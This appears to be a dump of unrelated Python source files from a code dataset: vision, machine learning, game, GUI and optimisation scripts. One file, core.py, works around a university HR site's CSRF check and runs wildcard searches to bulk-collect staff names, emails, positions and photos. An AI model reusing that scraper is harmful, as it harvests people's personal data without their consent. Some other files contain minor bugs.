while True:\n# tok = lex.token()\n# if not tok:\n# break # no more input\n# print (repr(tok.type),repr(tok.value))\n\n# lex.input(\"CH3COOH\")\n# for tok in iter(lex.token, None):\n# print repr(tok.type), repr(tok.value)\n","sub_path":"MyLexer.py","file_name":"MyLexer.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"342825620","text":"import time\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef demo(i,x):\n s = time.time()\n time.sleep(1)\n print(time.time()-s)\n\ndef main():\n with ThreadPoolExecutor (3) as tr:\n for i in range(100):\n tr.submit(demo,*(1,2))\nif __name__ == '__main__':\n main()","sub_path":"system_item/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"468785370","text":"\"\"\" Name : 04Collections.py\nAuthor : Dan Thomas\nDate : 07 Nov 2018\nPurpose : Exercise working with collections\"\"\"\n\nfruits = []\nfruitquantity = input(\"How many fruits do you have?\")\n \nfor quantity in fruitquantity:\n fruits.append(input(\"Please enter a fruit:\"))\n\ndictfruits = {}\ncount = 0\nfor fruit in fruits:\n dictfruits[fruits[count]] = count\n count +=1\n\nprint(fruits)\nprint(set(fruits))\nprint(dictfruits)\n\n","sub_path":"03DataTypes/Exercise/04Collections.py","file_name":"04Collections.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"269796848","text":"import numpy\nimport cv2\n\n# Read image from webcam\ncap = cv2.VideoCapture(0)\ncascade = cv2.CascadeClassifier(\"haarcascade_frontalface_alt2.xml\")\nwhile True:\n ret,frame = cap.read()\n # Convert image to hsv\n #hsvImg = cv2.cvtCOLOR(fram,cv2.COLOR_RGB2HSV)\n gray = cv2.cvtColor(frame,cv2.COLOR_RGB2GRAY)\n thresh, _bin = cv2.threshold(gray,60,255,cv2.THRESH_BINARY)\n # cv2.imshow(\"binary\",_bin)\n faces = cascade.detectMultiScale(gray)\n for x,y,w,h in faces:\n cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),1)\n cv2.rectangle(_bin,(x,y),(x+w,y+h),(255,0,0),1)\n cv2.imshow(\"video\",frame)\n #_bin = cv2.bitwise_not(_bin)\n cv2.imshow(\"thresh\",_bin)\n key = cv2.waitKey(30)\n if key&0xFF == ord('q'):\n break","sub_path":"Basic OpenCV/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"571479708","text":"import torch.utils.data\nimport pickle\nimport numpy as np\nfrom PIL import Image\n\n\n# 需要继承data.Dataset\nclass Cifar10Dataset(torch.utils.data.Dataset):\n def __init__(self, root, train=True, transform=None, target_transform=None):\n \"\"\"\n 1. 初始化数据路径\n 2. 读取数据\n 3. 整理数据\n \"\"\"\n self.root = root + \"\\\\cifar-10-batches-py\\\\\" # 目录\n self.fileName = \"\"\n self.data = [] # 存储图片数据\n self.targets = [] # 存储图片标签\n # 存储 transform \n self.transform = transform\n self.target_transform = target_transform\n\n # 读取数据\n if train : # 训练集\n self.fileName = \"data_batch_\"\n for i in range(1, 6) :\n file = self.root + self.fileName + str(i) # 构建文件路径\n self.save(file)\n else : # 测试集\n self.fileName = \"test_batch\" # test 文件路径\n file = self.root + self.fileName\n self.save(file)\n # 整理读取的数据\n self.data = np.vstack(self.data) # 合并二维数组,并转成 numpy.ndarray 类型,方便 reshape\n self.data = self.data.reshape(-1, 3, 32, 32) \n # print(self.data.shape) # (50000, 3, 32, 32)\n self.data = self.data.transpose((0, 2, 3, 1)) # 转置 转成 HWC 格式\n # print(self.data.shape) # (50000, 32, 32, 3)\n\n def __getitem__(self, index):\n \"\"\"\n 1. 按照下标 (index) 读数据\n 2. 转换图片格式.\n 3. 返回图片数据和标签信息\n \"\"\"\n img, target = self.data[index], self.targets[index]\n # 将图片信息转成 PIL.Image.Image 类型\n img = Image.fromarray(img)\n # 对 PIL.Image 进行变换\n if self.transform is not None:\n img = self.transform(img)\n # 对标签格式进行转换\n if self.target_transform is not None:\n target = self.target_transform(target)\n return img, target\n\n def __len__(self):\n # 返回数据长度\n return len(self.data)\n\n def unpickle(self, file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n def save(self, file):\n dict = self.unpickle(file) # 利用官网提供的方法读取数据,存储在字典中\n self.data.append(dict[b'data']) # 将数据集中的 data 存储起来\n self.targets.extend(dict[b'labels']) # list 类型\n","sub_path":"DeepLearning-Lab/lab3/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"380294810","text":"#!/usr/bin/python\n'''\nCopyright 2018 Albert Monfa\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n'''\n\nimport logging\n\nclass Logging():\n\n __severity = {\n 0 : logging.DEBUG,\n 1 : logging.INFO,\n 2 : logging.WARNING,\n 3 : logging.ERROR,\n 4 : logging.CRITICAL\n }\n\n def severity(log_level):\n if log_level not in range(0,4):\n return logging.ERROR\n return Logging.__severity[log_level]\n","sub_path":"src/core/base/Logging.py","file_name":"Logging.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"599492388","text":"from otm.OSMLoader import OSMLoader\nimport pickle\n\nosmtool = OSMLoader()\nosmtool.load_from_osm(\n north=25.9841,\n south=25.1923,\n east=-80.1107,\n west=-80.8593,\n simplify_roundabouts=False,\n fixes={\n }\n)\n\n# X = osmtool.get_link_table()\n# X.sort_values(by='travel_time', ascending=True, inplace=True)\n# print(X)\n\n# osmtool.merge_nodes([])\n\nosmtool.save_to_xml('miami.xml')\n\nprint('DONE')\n","sub_path":"python/test_osm_miami.py","file_name":"test_osm_miami.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"513186441","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# 导入游戏模块\nimport os\nfrom Day06.game.option_mods import show_hero\nfrom Day06.game.option_mods import buy_goods\nfrom Day06.game.option_mods import sleep_mod\nfrom Day06.game.option_mods import fight_handle\nfrom Day06.game.option_mods import show_process\nfrom Day06.game.option_mods import fight_boss\nfrom Day06.game.option_mods import go_fishing\n\n\n# 游戏主菜单\nmain_option = '''\\033[32m################游戏菜单###################\\033[0m\n1.查看个人状态 2.查看装备信息\n3.打开背包 4.查看游戏进度\n5.去商店 \\033[32m(商品交易)\\033[0m 6.去客栈休息 \\033[32m(回复生命)\\033[0m\n7.去河边钓鱼 \\033[32m(娱乐休闲)\\033[0m 8.绝情谷历练 \\033[32m(打怪升级)\\033[0m\n9.boss挑战 \\033[32m(拯救妹子,主线任务)\\033[0m 0.保存退出'''\n\ndef show_main_menu(hero_name):\n '''\n 主菜单展示模块\n :param hero_name: 主角名称\n :return:\n '''\n while True:\n print(main_option)\n user_choice = input('\\033[31m[%s]你想做什么:\\033[0m' % hero_name)\n if user_choice == '1':\n show_hero.show_state(hero_name)\n input('\\033[31m请按回车键(Enter键)返回...\\033[0m')\n print('')\n elif user_choice == '2':\n show_hero.show_equipment(hero_name)\n input('\\033[31m请按回车键(Enter键)返回...\\033[0m')\n print('')\n elif user_choice == '3':\n show_hero.show_bag(hero_name)\n input('\\033[31m请按回车键(Enter键)返回...\\033[0m')\n print('')\n elif user_choice == '4':\n show_process.show()\n elif user_choice == '5':\n buy_goods.show_goods()\n buy_goods.shopping_handle(hero_name)\n elif user_choice == '6':\n sleep_mod.sleep(hero_name)\n elif user_choice == '7':\n go_fishing.fish()\n input('\\033[31m请按回车键(Enter键)返回...\\033[0m')\n print('')\n elif user_choice == '8':\n fight_handle.fight(hero_name)\n elif user_choice == '9':\n fight_boss.final_fight()\n elif user_choice == '0':\n file = r'%s/save/user_id.txt' % os.path.dirname(os.path.dirname(__file__))\n with open(file,'w') as f:\n f.write(hero_name)\n exit('\\033[31m游戏存档成功!\\033[0m')\n else:\n print('输入有误请重新输入!\\n')\n\n\n\nif __name__ == '__main__':\n show_main_menu('xiaoxin')\n\n\n\n\n\n\n\n\n\n","sub_path":"Day06/game/core/show_menu.py","file_name":"show_menu.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"149791264","text":"from urllib.request import urlretrieve\r\nimport requests, os, re, bs4, requester, base64\r\n\r\nbaseUrl = \"http://newhr.mans.edu.eg/\"\r\nc = requester.connect\r\n\r\ndef htmlFindAll(content):\r\n soup = bs4.BeautifulSoup(content.text, \"html.parser\")\r\n return soup.findAll\r\n\r\ndef htmlFind(content):\r\n soup = bs4.BeautifulSoup(content.text, \"html.parser\")\r\n return soup.find\r\n\r\n# I reverse engineered this code\r\n# doing this i will get a correct format for csrf token cookie\r\n'''\r\nbeforeSend : function(xhr, settings) {\r\n\t\t\t\t\tfunction getCookie(name) {\r\n\t\t\t\t\t\tvar cookieValue = null;\r\n\t\t\t\t\t\tif (document.cookie && document.cookie != '') {\r\n\t\t\t\t\t\t\tvar cookies = document.cookie.split(';');\r\n\t\t\t\t\t\t\tfor (var i = 0; i < cookies.length; i++) {\r\n\t\t\t\t\t\t\t\tvar cookie = jQuery.trim(cookies[i]);\r\n\t\t\t\t\t\t\t\tif (cookie.substring(0, name.length + 1) == (name + '=')) {\r\n\t\t\t\t\t\t\t\t\tcookieValue = decodeURIComponent(cookie.substring(name.length + 1));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\treturn cookieValue;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tif (!(/^http:.*/.test(settings.url) || /^https:.*/.test(settings.url))) {\r\n\t\t\t\t\t\t// Only send the token to relative URLs i.e. locally.\r\n\t\t\t\t\t\txhr.setRequestHeader(\"X-CSRFToken\", getCookie('csrftoken'));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n'''\r\ndef getCSRF():\r\n # get cookies from url\r\n res = c(baseUrl)\r\n cookies = dict(res.cookies)\r\n return cookies[\"csrftoken\"]\r\n\r\ndef postSearch(name = \"*\", page=1, csrf=''):\r\n # use cookies to get csrf token and then use it with headers in post requests\r\n # xhr header\r\n headers = {\r\n \"X-CSRFToken\": csrf,\r\n # var cookies = document.cookie.split(';');\r\n # add ; and some text to fool the code for empty detection\r\n \"Cookie\":f\"csrftoken={csrf}; bruh\"\r\n }\r\n \r\n data = {\r\n \"pageNum\":str(page),\r\n \"scopeID\":\"1.\",\r\n \"searchID\":name\r\n }\r\n\r\n post = c(\r\n baseUrl + \"getPersons/\",\r\n data=data,\r\n headers=headers,\r\n isGET=False\r\n )\r\n\r\n return post\r\n \r\ndef decodeImg(encoded, name):\r\n result = base64.b64decode(encoded)\r\n with open(f'{name}.jpg', 'wb') as img:\r\n img.write(result)\r\n \r\ndef doScrape(page):\r\n Data, Pages = {}, 0\r\n \r\n # catch incorrect search\r\n Error = htmlFindAll(page)('h4')\r\n if Error:\r\n return None, 0\r\n\r\n # Number of pages are stored in in \"totalpages\" property\r\n inputs = htmlFindAll(page)('input')\r\n for inpt in inputs:\r\n try:\r\n Pages = int(inpt['totalpages'])\r\n except:pass\r\n\r\n # Get list of tabels == number of users shown in page\r\n tables = htmlFindAll(page)('table')\r\n \r\n for n, table in enumerate(tables):\r\n Data[n] = {\r\n 'الإسم':'',\r\n 'الجهة':'',\r\n 'المؤهل':[],\r\n 'الوظيفة':'',\r\n 'البريد الإلكتروني':'',\r\n 'الوظائف الإشرافية':[],\r\n 'id':'',\r\n 'pic':None\r\n }\r\n\r\n # Loop through each table rows\r\n for tr in table.find_all('tr'):\r\n\r\n # Detect encoded images in base64 format\r\n img = tr.find_all('img')\r\n if img and 'base64' in img[0]['src']:\r\n decodeImg(img[0]['src'][22:], n)\r\n Data[n]['pic'] = f'{n}.jpg'\r\n\r\n # Loop through cells inside rows\r\n trs = tr.find_all('td')\r\n for td in trs:\r\n url = td.find_all('a')\r\n if url:\r\n Data[n]['id'] = url[0]['href'][34:-8]\r\n # Handle text data of each person\r\n txt = td.text.strip()\r\n if txt == 'الإسم':\r\n Data[n]['الإسم'] = trs[1].text.replace('\\n', '').replace(' '*58, '').replace('(مثبت)', '').strip()\r\n if 'الجهة' in txt:\r\n Data[n]['الجهة'] = trs[1].text\r\n if 'المؤهل' in txt:\r\n # Some qualifications are multilined with spaces\r\n Data[n]['المؤهل'] = [i.strip() for i in trs[1].text.split('\\n') if i.strip()]\r\n if 'الوظيفة' in txt:\r\n Data[n]['الوظيفة'] = trs[1].text\r\n if 'البريد الإلكتروني' in txt:\r\n Data[n]['البريد الإلكتروني'] = trs[1].text.replace('\\n', '').strip()\r\n if 'الوظائف الإشرافية' in txt:\r\n # Some jobs are multilined with spaces\r\n Data[n]['الوظائف الإشرافية'] = [i.strip() for i in trs[1].text.split('\\n') if i.strip()]\r\n \r\n return Data, Pages\r\n\r\n#doScrape(postSearch(name = \"احمد ابراهيم عبد ال*\", page=1, csrf=getCSRF()))","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"29944968","text":"def get_ndvi(image1, image2, out_file):\n\t\"\"\"\n\tA function that takes an RGB image and a NIR image. Calculates NDVI\n\tBased on NIR being the average of the three channels in the NIR image\n\t\"\"\"\n\t\n\tfrom scipy import misc\n\timport numpy as np\n\t\n\t# Read in data\n\tim1 = misc.imread(image1)\n\tim2 = misc.imread(image2)\n\t\n\tndvi_im = np.full((im1.shape[0],im1.shape[1]),0.)\n\t\n\t# rescale each pixel by NDVI value\n\tfor x in range(im1.shape[0]):\n\t\tfor y in range(im1.shape[1]):\n\t\t\tNIR_val = sum(im2[x,y,:])/3\n\t\t\t#NIR_val = im2[x,y,0] for when have single NIR channel\n\t\t\tif((int(NIR_val) + int(im1[x,y,0]))==0):\n\t\t\t\tndvi_im[x,y]=0\n\t\t\telse:\n\t\t\t\tndvi_im[x,y] = (int(NIR_val)-int(im1[x,y,0]))/(int(im1[x,y,0])+int(NIR_val))\n\n\t# Save out result\n\tmisc.toimage(ndvi_im, cmin=-1.0, cmax=1.0).save(out_file)\n\t\nget_ndvi('mintRGB.JPG','mintNIR.JPG','mintNDVI.JPG')","sub_path":"Data/biomaker_fayre/3/get_ndvi.py","file_name":"get_ndvi.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"194021352","text":"from PyQt5.QtWidgets import QWidget,QToolBox, QPushButton, QGridLayout,QLabel,QMenu\nfrom PyQt5.QtWidgets import QHBoxLayout,QMessageBox,QListWidget,QListWidgetItem,QAction\nfrom PyQt5.QtGui import QPixmap,QColor\nfrom PyQt5.QtCore import QSize\nimport base64,sqlite3,shutil,os,zipfile,glob\nimport ManageOperation\n\nclass Course_news_win(QWidget):\n def __init__(self):\n super(Course_news_win, self).__init__()\n self.returnbut = QPushButton(\"返回\")\n self.addcufile = QPushButton(\"添加课件\")\n self.addexfile = QPushButton(\"添加练习\")\n self.lab = QLabel()\n self.devise_Ui()\n\n def devise_Ui(self):\n self.horizontalLayout = QHBoxLayout(self)\n self.layout = QGridLayout()\n self.win = QWidget()\n self.win.setLayout(self.layout) # 设置顶级布局管理器\n self.horizontalLayout.addWidget(self.win)\n self.win.setMouseTracking(True) # 设置widget鼠标跟踪\n self.qtool = QToolBox()\n self.qtool.setStyleSheet(\"QToolBox{background:rgb(150,140,150);font-weight:Bold;color:rgb(0,0,0);}\")\n self.returnbut.setStyleSheet(\"QPushButton{ font-family:'宋体';font-size:18px;color:rgb(0,0,0);}\\\n QPushButton{background-color:rgb(170,200, 50)}\\\n QPushButton:hover{background-color:rgb(50, 170, 200)}\")\n self.addcufile.setStyleSheet(\"QPushButton{ font-family:'宋体';font-size:18px;color:rgb(0,0,0);}\\\n QPushButton{background-color:rgb(170,200, 50)}\\\n QPushButton:hover{background-color:rgb(50, 170, 200)}\")\n self.addexfile.setStyleSheet(\"QPushButton{ font-family:'宋体';font-size:18px;color:rgb(0,0,0);}\\\n QPushButton{background-color:rgb(170,200, 50)}\\\n QPushButton:hover{background-color:rgb(50, 170, 200)}\")\n self.returnbut.setMaximumSize(100, 40)\n self.addcufile.setMaximumSize(100, 40)\n self.addexfile.setMaximumSize(100,40)\n self.lab.setMaximumSize(200, 40)\n self.layout.addWidget(self.returnbut, 0, 0, 1, 2)\n self.layout.addWidget(self.addcufile,0,15,1,2)\n self.layout.addWidget(self.addexfile, 0, 17, 1, 2)\n self.layout.addWidget(self.lab, 1, 1, 1, 7)\n self.layout.addWidget(self.qtool, 2, 1, 8, 17)\n\n\n#课件的item 设计\nclass CoursecuWidget(QWidget):\n def __init__(self, data):\n super(CoursecuWidget, self).__init__()\n self.horizontalLayout = QHBoxLayout(self)\n self.layout = QGridLayout()\n self.win = QWidget()\n self.win.setLayout(self.layout) # 设置顶级布局管理器\n self.horizontalLayout.addWidget(self.win)\n self.win.setMouseTracking(True) # 设置widget鼠标跟踪\n self.imagelab = QLabel()\n self.namelab = QLabel(data[1])\n self.image_path = \"./datas/image/image\" + data[3]\n total = base64.b64decode(data[2])\n f = open(self.image_path, 'wb')\n f.write(total)\n f.close()\n self.namelab.setStyleSheet(\"QLabel{color:rgb(0,0,0);font-size:22px;font-weight:Bold;font-family:Arial;}\")\n self.imagelab.setMaximumSize(150, 150)\n self.namelab.setMaximumSize(800, 80)\n self.imagelab.setPixmap(QPixmap(self.image_path))\n self.imagelab.setScaledContents(True) # 让图片自适应label大小\n self.layout.addWidget(self.imagelab, 0, 0, 4, 4)\n self.layout.addWidget(self.namelab, 1, 4, 3, 4)\n\n#课件的QList\nclass CoursecuQlist(QListWidget):\n def __init__(self, dow, data):\n super(CoursecuQlist, self).__init__()\n self.dow = dow\n self.doubleClicked.connect(self.opencourse)\n sqlpath = \"./datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"select Filename.no,name,total,filename2 from \\\n Filename,Fileimage where Filename.no = Fileimage.no \\\n and Cno=(?) \", (data[0],))\n self.datas = c.fetchall()\n for data in self.datas:\n item = QListWidgetItem(self)\n item.setSizeHint(QSize(800, 150))\n item.setBackground(QColor(240, 240, 240))\n self.setItemWidget(item, CoursecuWidget(data))\n\n def contextMenuEvent(self, event):\n hitIndex = self.indexAt(event.pos()).column()\n if hitIndex > -1:\n pmenu = QMenu(self)\n pDeleteAct = QAction(\"删除\", pmenu)\n pmenu.addAction(pDeleteAct)\n pDeleteAct.triggered.connect(self.deleteItemSlot)\n pmenu.popup(self.mapToGlobal(event.pos()))\n\n def deleteItemSlot(self):\n index = self.currentIndex().row()\n if index > -1:\n rely = QMessageBox.question(self, \"提示!\", \"该操作会造成数据完全删除无法恢复\\n请问是否继续?\",\n QMessageBox.Yes | QMessageBox.No,QMessageBox.Yes)\n if rely == 65536:\n return\n sqlpath = \"./datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"delete from Filename where no=(?)\",(self.datas[index][0],))\n c.execute(\"delete from Fileimage where no=(?)\", (self.datas[index][0],))\n c.execute(\"delete from Filedate where no=(?)\", (self.datas[index][0],))\n conn.commit()\n c.close()\n conn.close()\n item = self.takeItem(index)\n # 删除widget\n self.removeItemWidget(item)\n del item\n QMessageBox.about(self, \"提示\", '文件删除成功!!')\n\n def opencourse(self):\n index = self.currentIndex().row()\n if index > -1:\n da = self.datas[index][:2]\n sqlpath = \"./datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"select Cname,name,total,filename1 from \\\n Filename,Filedate where Filename.no= Filedate.no \\\n and Filename.no=(?)\",(da[0],))\n filedata = c.fetchall()[0]\n zip_path = './datas/'+filedata[0]\n if (not (os.path.exists(zip_path))): # 创建文件夹。\n os.makedirs(zip_path)\n zip_path = zip_path +'/'+filedata[1]+filedata[3]\n total = base64.b64decode(filedata[2])\n f = open(zip_path, 'wb')\n f.write(total)\n f.close()\n zip_to_files(zip_path)\n self.dow.clicked()\n\n\n\n#练习的item 设计\nclass CourseexWidget(QWidget):\n def __init__(self, data):\n super(CourseexWidget, self).__init__()\n self.horizontalLayout = QHBoxLayout(self)\n self.layout = QGridLayout()\n self.win = QWidget()\n self.win.setLayout(self.layout) # 设置顶级布局管理器\n self.horizontalLayout.addWidget(self.win)\n self.win.setMouseTracking(True) # 设置widget鼠标跟踪\n self.namelab = QLabel(data[1])\n self.namelab.setStyleSheet(\"QLabel{color:rgb(0,0,0);font-size:22px;font-weight:Bold;font-family:Arial;}\")\n self.namelab.setMaximumSize(800, 60)\n self.layout.addWidget(self.namelab, 1, 1, 1, 1)\n\n#练习的QList\nclass CourseexQlist(QListWidget):\n def __init__(self, dow, data):\n super(CourseexQlist, self).__init__()\n self.dow = dow\n self.doubleClicked.connect(self.opencourse)\n sqlpath = \"./datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"select no,name from Filename2 where Cno=(?) \", (data[0],))\n self.datas = c.fetchall()\n for data in self.datas:\n item = QListWidgetItem(self)\n item.setSizeHint(QSize(800, 80))\n item.setBackground(QColor(240, 240, 240))\n self.setItemWidget(item, CourseexWidget(data))\n\n def contextMenuEvent(self, event):\n hitIndex = self.indexAt(event.pos()).column()\n if hitIndex > -1:\n pmenu = QMenu(self)\n pDeleteAct = QAction(\"删除\", pmenu)\n pmenu.addAction(pDeleteAct)\n pDeleteAct.triggered.connect(self.deleteItemSlot)\n pmenu.popup(self.mapToGlobal(event.pos()))\n\n def deleteItemSlot(self):\n index = self.currentIndex().row()\n if index > -1:\n rely = QMessageBox.question(self, \"提示!\", \"该操作会造成数据完全删除无法恢复\\n请问是否继续?\",\n QMessageBox.Yes | QMessageBox.No,QMessageBox.Yes)\n if rely == 65536:\n return\n sqlpath = \"../datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"delete from Filename2 where no=(?)\",(self.datas[index][0],))\n c.execute(\"delete from Filedate2 where no=(?)\", (self.datas[index][0],))\n conn.commit()\n c.close()\n conn.close()\n item = self.takeItem(index)\n # 删除widget\n self.removeItemWidget(item)\n del item\n QMessageBox.about(self, \"提示\", '文件删除成功!!')\n\n def opencourse(self):\n index = self.currentIndex().row()\n if index > -1:\n da = self.datas[index][:2]\n sqlpath = \"../datas/database/ControllerSQ\" + str(ManageOperation.number) + \"L.db\"\n conn = sqlite3.connect(sqlpath)\n c = conn.cursor()\n c.execute(\"select Cname,name,answer,total,filename1 from \\\n Filename2,Filedate2 where Filename2.no= Filedate2.no \\\n and Filename2.no=(?)\",(da[0],))\n filedata = c.fetchall()[0]\n zip_path = '../datas/'+filedata[0]\n if (not (os.path.exists(zip_path))): # 创建文件夹。\n os.makedirs(zip_path)\n zip_path = zip_path +'/'+filedata[1]+filedata[4]\n total = base64.b64decode(filedata[3])\n f = open(zip_path, 'wb')\n f.write(total)\n f.close()\n zip_to_files(zip_path)\n self.dow.clicked2(da[0],filedata[2])\n\n\n\n\ndef zip_to_files(zippath): # 将压缩包解压\n path = './datas/tupian'\n if (os.path.isdir(path)): # 判断文件夹是否存在\n fileNames = glob.glob(path + r'/*')\n if fileNames:\n for fileName in fileNames: # 将pa 文件夹中的文件删除。\n os.remove(fileName)\n else:\n os.mkdir(path)\n zf = zipfile.ZipFile(zippath)\n for fn in zf.namelist(): # 循环压缩包中的文件并保存进新文件夹。\n #right_fn = fn.replace('\\\\\\\\', '_').replace('\\\\', '_').replace('//', '_').replace('/', '_') # 将文件名正确编码\n right_fn = fn.encode('cp437').decode('gbk') # 将文件名正确编码\n right_fn = path + '/' + right_fn\n with open(right_fn, 'wb') as output_file: # 创建并打开新文件\n with zf.open(fn, 'r') as origin_file: # 打开原文件\n shutil.copyfileobj(origin_file, output_file) # 将原文件内容复制到新文件\n zf.close()\n os.remove(zippath)","sub_path":"low6/ManageInterface/Course_news_win.py","file_name":"Course_news_win.py","file_ext":"py","file_size_in_byte":11433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"81594923","text":"\"\"\"\n 波士顿地区房屋价格 adaboost 正向激励\n import sklearn.tree as st\n import sklearn.ensemble as se\n model = st.DecisionTreeRegressor(max_depth=5)\n model = se.AdaBoostRegressor(model,n_estimators=400,random_state=7)\n\"\"\"\n\nimport numpy as np\nimport sklearn.tree as st\nimport sklearn.datasets as sd\nimport sklearn.utils as su\nimport sklearn.metrics as sm\nimport matplotlib.pyplot as mp\n# 加载波士顿地区房价数据集\nboston = sd.load_boston()\n# print(boston.data.shape) #输入集\n# print(boston.target.shape) #输出集\n# print(boston.feature_names) #特征名称\n# # print(boston.data)\n# print(boston.target)\n#1.打乱数据集 random_state:若两次shuffle使用的随机种子值相同,随机得到的结果也相同\nx,y = su.shuffle(boston.data,boston.target,random_state=7)\n#2.拆分测试集与训练集,拿总样本的80%做训练,拿20%做测试\ntrain_size = int(len(x)*0.8)\ntrain_x,train_y,test_x,test_y = x[:train_size],y[:train_size],x[train_size:],y[train_size:]\n#3.使用训练集训练决策树模型\nmodel = st.DecisionTreeRegressor(max_depth=5)\nmodel.fit(train_x,train_y)\n#4.使用测试集进行测试\npre_y = model.predict(test_x)\nprint(sm.r2_score(test_y,pre_y))\n\n#获取特征重要性\nfi = model.feature_importances_\n# mp.figure('DT tree',facecolor='lightgrey')\nmp.subplot(121)\nmp.title('DT tree',fontsize=16)\nmp.grid(linestyle=':')\nmp.xlabel('feature')\nmp.ylabel('FI')\nsort_index = np.argsort(fi)[::-1]\nx = np.arange(boston.feature_names.size)\nmp.bar(x,fi[sort_index],color='dodgerblue',label='DT feature importance')\nmp.xticks(x,boston.feature_names[sort_index])\nmp.tight_layout()\nmp.legend()\n\nimport sklearn.ensemble as se\n#基于正向激励训练模型 Adaboost模型\nmodel = se.AdaBoostRegressor(model,n_estimators=400,random_state=7)\nmodel.fit(train_x,train_y)\nprint(model.feature_importances_)\npre_boost_y = model.predict(test_x)\nprint(sm.r2_score(test_y,pre_boost_y))\nfi = model.feature_importances_\nmp.subplot(122)\n# mp.figure('Adaboost FI',facecolor='lightgrey')\nmp.title('Adaboost FI',fontsize=16)\nmp.grid(linestyle=':')\nmp.xlabel('feature')\nmp.ylabel('FI')\nsort_index = np.argsort(fi)[::-1]\nx = np.arange(boston.feature_names.size)\nmp.bar(x,fi[sort_index],color='orangered',label='Adaboost feature importance')\nmp.xticks(x,boston.feature_names[sort_index])\nmp.tight_layout()\nmp.legend()\nmp.show()","sub_path":"MachineLearning/day03/demo01_adabost.py","file_name":"demo01_adabost.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"178115239","text":"import create as tc\nimport os_file as to\nimport numpy as np\nimport time\n#from pai_pyhdfs import *\n\nwork_path='/shared/TSP/'\n# f=wait_hdfs_file(work_path,'distance_matrix.npy',delete=False)\n# m=np.load(f)\n\ndef cross(s1,s2):\n length=len(s1)\n res=[s1[i] for i in range(length//2)]\n #res=s1[:length//2]\n for i in range(length//2,length):\n if s2[i] not in res:\n res.append(s2[i])\n for i in range(length//2):\n if s2[i] not in res:\n res.append(s2[i])\n return np.array(res)\n\ndef mutation(s):\n lenght=len(s)\n a,b=np.random.permutation(lenght)[:2]\n s[a],s[b]=s[b],s[a]\n return s\n\ndef cross_and_mutation(s1,s2):\n child=cross(s1,s2)\n return mutation(child)\n\n\ndef next_generation(solutions,matrix):\n length=len(solutions)\n tmp=[]\n for i in range(length):\n for j in range(length):\n if i!=j:\n tmp.append(cross_and_mutation(solutions[i],solutions[j]))\n tmp=np.array(tmp)\n #print(\"tmp.shape\",tmp.shape)\n #print(solutions.shape)\n solutions=np.vstack((solutions,tmp))\n sorted_solutions=sorted(solutions,key=lambda x:tc.cost(x,matrix))[:length]\n return np.array(sorted_solutions)\n\ndef iteration(solutions,matrix,max_iteration=100,max_time=180):\n start=time.time()\n time_escaped=0\n iter=0\n while itermax_time:\n solutions=next_generation(solutions,matrix)\n iter+=1\n time_escaped=time.time()-start\n #print(\"This is the %d-th iteration.\"%iter)\n #print(\"solutions[0]\",solutions[0])\n #print(\"This iteration is over.\")\n return solutions[0]\n\n\n\n\n\n","sub_path":"TSP_on_PAI/iteration.py","file_name":"iteration.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"487820512","text":"# solution.py ---\n#\n# Filename: 